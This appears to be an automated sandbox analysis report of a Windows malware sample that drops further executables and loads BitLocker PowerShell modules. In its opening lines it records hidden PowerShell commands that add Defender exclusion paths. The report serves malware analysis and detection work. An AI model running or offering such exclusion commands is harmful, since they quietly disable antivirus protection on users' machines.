Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Recovery'"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Reka'"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath '%USERPROFILE%\Desktop'"	Jump to behavior

Source: UBONg7lmVR.exe

Static PE information: 0xBB347EF2 [Thu Jul 11 14:49:22 2069 UTC]

Source: C:\Reka\rapnewsa.exe

Code function: 23_2_002C17E0 GlobalHandle,LoadLibraryA,GetProcAddress,

23_2_002C17E0

Source: y5cm2yzz.hwt.exe.0.dr	Static PE information: section name: .xdata
Source: y5cm2yzz.hwt.exe.0.dr	Static PE information: section name: /4
Source: y5cm2yzz.hwt.exe.0.dr	Static PE information: section name: /19
Source: y5cm2yzz.hwt.exe.0.dr	Static PE information: section name: /32
Source: y5cm2yzz.hwt.exe.0.dr	Static PE information: section name: /46
Source: y5cm2yzz.hwt.exe.0.dr	Static PE information: section name: /65
Source: y5cm2yzz.hwt.exe.0.dr	Static PE information: section name: /78
Source: y5cm2yzz.hwt.exe.0.dr	Static PE information: section name: /90
Source: y5cm2yzz.hwt.exe.0.dr	Static PE information: section name: .symtab

Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Code function: 0_2_05B44FA0 push eax; retf 0070h	0_2_05B44FAA
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Code function: 0_2_05B44F8F push eax; retf 0070h	0_2_05B44F9A
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Code function: 0_2_05B44F62 push eax; retf 0070h	0_2_05B44F8A
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Code function: 0_2_05BDF0B0 pushfd ; ret	0_2_05BDF0B1
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Code function: 0_2_09851E40 push es; ret	0_2_09851E3F
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Code function: 0_2_0985A317 pushad ; retf	0_2_0985A325
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Code function: 0_2_0989FDD8 pushfd ; retf	0_2_0989FDD9
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Code function: 0_2_0AD1BB40 pushfd ; retf	0_2_0AD1BB55
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Code function: 0_2_0AD14EE0 push es; ret	0_2_0AD14EF5
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Code function: 0_2_0AD14F00 push es; ret	0_2_0AD14F35
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Code function: 0_2_0AD11D08 push es; ret	0_2_0AD11D16
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Code function: 0_2_0AD106E1 pushfd ; iretd	0_2_0AD106F9
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Code function: 0_2_0AD1A7F0 pushfd ; retf	0_2_0AD1A7F9
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Code function: 0_2_0B3AAFD8 push eax; ret	0_2_0B3AB271
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Code function: 0_2_0B3AB268 pushad ; ret	0_2_0B3AB269

Source: C:\Users\user\Desktop\UBONg7lmVR.exe	File created: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	File created: C:\Reka\rapnewsa.exe			Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\UBONg7lmVR.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\y5cm2yzz.hwt.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
